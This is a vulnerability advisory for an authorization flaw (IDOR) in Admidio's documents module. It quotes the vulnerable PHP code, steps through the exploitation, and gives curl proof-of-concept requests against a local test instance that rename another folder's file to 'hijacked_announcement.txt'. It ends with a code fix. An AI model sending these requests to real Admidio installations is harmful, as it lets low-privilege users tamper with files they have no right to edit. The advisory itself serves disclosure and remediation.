Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders

Summary

modules/documents-files.php mode file_rename_save shares the same root-cause shape as the cross-folder move bug (05-documents-cross-folder-move-idor.md): the top-level rights check at lines 79-89 validates hasUploadRight() on the URL parameter folder_uuid, but the rename operation acts on file_uuid — a separate URL parameter — without re-checking the folder that actually contains the file. DocumentsService::renameFile() resolves the target file via getFileForDownload() (which permits view-readable files) but does not require upload right on the file's source folder. Result: a user with upload right on any folder A can rename a file in folder B as long as they can view it. They can also overwrite the file's description.

Details

Vulnerable Code

modules/documents-files.php:79-89 — top-level check binds to URL folder_uuid:

if ($getMode != 'list' && $getMode != 'download') {
    $folder = new Folder($gDb);
    $folder->getFolderForDownload($getFolderUUID);
    if (!$folder->hasUploadRight()) {
        $gMessage->show($gL10n->get('SYS_NO_RIGHTS'));
    }
}

src/Documents/Service/DocumentsService.php:272-315 — renameFile() resolves the file via getFileForDownload() (view-only) and never re-verifies upload right on the file's parent:

public function renameFile(string $fileUUID, string $newName, string $newDescription): array
{
    $file = new File($this->db);
    $file->getFileForDownload($fileUUID);                          // <-- view rights, not upload
    ...
    $oldFile = $file->getFullFilePath();
    $newFile = $newName . '.' . pathinfo($oldFile, PATHINFO_EXTENSION);
    $newPath = pathinfo($oldFile, PATHINFO_DIRNAME) . '/';
    FileSystemUtils::moveFile($oldFile, $newPath . $newFile);

    $file->setValue('fil_name', $newFile);
    $file->setValue('fil_description', $newDescription);
    $file->save();
    ...
}

getFileForDownload() enforces only the download (read) ACL on the file's folder. There is no hasUploadRight() check anywhere in the rename path. The actual file remains in its original folder; only its name and description change. This means the modified metadata is visible to every other user who legitimately has download rights on that folder, while the modification itself was performed by a user who has no edit right on it.

Exploitation Primitive

1. Attacker user lowuser holds folder_upload on public_uploadable (UUID c41a99c0-…). They have view (download) rights on view_only_public (UUID 21b417e2-…, fol_public=1) but no upload/edit right there. The folder contains admin_announcement.txt (UUID aaae5edd-…).
2. Render the rename form with a folder_uuid of a folder lowuser CAN upload to and a file_uuid of the target file: GET /modules/documents-files.php?mode=file_rename&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-… The top-level rights check at line 85 sees the public-uploadable folder and passes.
3. Submit rename: POST /modules/documents-files.php?mode=file_rename_save&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-… with adm_csrf_token=<from step 2>, adm_new_name=hijacked_announcement, adm_new_description=Hijacked!. Server replies {"status":"success"}. adm_files: fil_fol_id=7 (still the original view_only_public), fil_name='hijacked_announcement.txt', fil_description='Hijacked!'. On disk: admin_announcement.txt is renamed to hijacked_announcement.txt in its original folder.

PoC

Captured live against HEAD c5cde53 (mariadb on 127.0.0.1:3399, php on 127.0.0.1:8085):

$ curl -sb $cookie \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…"
# form rendered, CSRF token X added to session

$ curl -sb $cookie -X POST \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename_save&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…" \
    -d "adm_csrf_token=X&adm_new_name=hijacked_announcement&adm_new_description=Hijacked%21"
{"status":"success", …}

$ mariadb -h 127.0.0.1 -P 3399 -u admidio -p… admidio \
    -e "SELECT fil_fol_id, fil_name, fil_description FROM adm_files WHERE fil_uuid='aaae5edd-…';"
fil_fol_id  fil_name                       fil_description
7           hijacked_announcement.txt      Hijacked!

The folder ID fil_fol_id=7 is view_only_public — the folder that lowuser had no upload right on. The change was applied as if lowuser were authorised.

Impact

A user with the most basic Documents permission — upload to a single folder — can rename and overwrite descriptions of files in any other folder they can read. Confidentiality is unaffected (the actor already had download rights on the affected files), but integrity is broken across folder boundaries. Concretely:

• Defacement of public announcements / policies / circulars. A regular member can replace admin_announcement.txt with hijacked_announcement.txt and a description that misrepresents the content. Other readers see the malicious metadata.
• Renaming-to-confuse. Files can be renamed to identifiers that imply different content (board_minutes_2025-Q4.pdf → board_minutes_DRAFT-do-not-distribute.pdf).
• Description-as-XSS-vector (downstream): if any view path treats fil_description as raw HTML, this becomes a stored XSS by a low-privilege user; absent that, it is plain content tampering.

The CVSS reflects: PR:L (uploader on any folder), S:U (stays inside Admidio's authorisation model), C:N because the actor already had read access, I:H because the file's identity is changed for every other reader, A:N because files are not deleted.

Recommended Fix

DocumentsService::renameFile() must check upload right on the file's source folder before mutating it:

// src/Documents/Service/DocumentsService.php
public function renameFile(string $fileUUID, string $newName, string $newDescription): array
{
    $file = new File($this->db);
    $file->getFileForDownload($fileUUID);

    // verify the current user has upload (write) right on the file's parent folder,
    // not just download right (which getFileForDownload enforces)
    $sourceFolder = new Folder($this->db);
    $sourceFolder->readData($file->getValue('fil_fol_id'));
    if (!$sourceFolder->hasUploadRight()) {
        throw new Exception('SYS_NO_RIGHTS');
    }
    ...
}

Equivalently, in modules/documents-files.php case 'file_rename_save', resolve the file's parent folder and check hasUploadRight() against it before calling the service. The same fix should be applied to other documents-files modes that take a file_uuid independently of folder_uuid.

Related

This bug shares its root cause with 05-documents-cross-folder-move-idor.md — both flow from the top-level rights check at lines 79-89 binding to URL folder_uuid rather than the actual file's parent. A single fix to enforce source-folder upload right inside File::moveToFolder() and DocumentsService::renameFile() (and any other operations on file_uuid) closes both.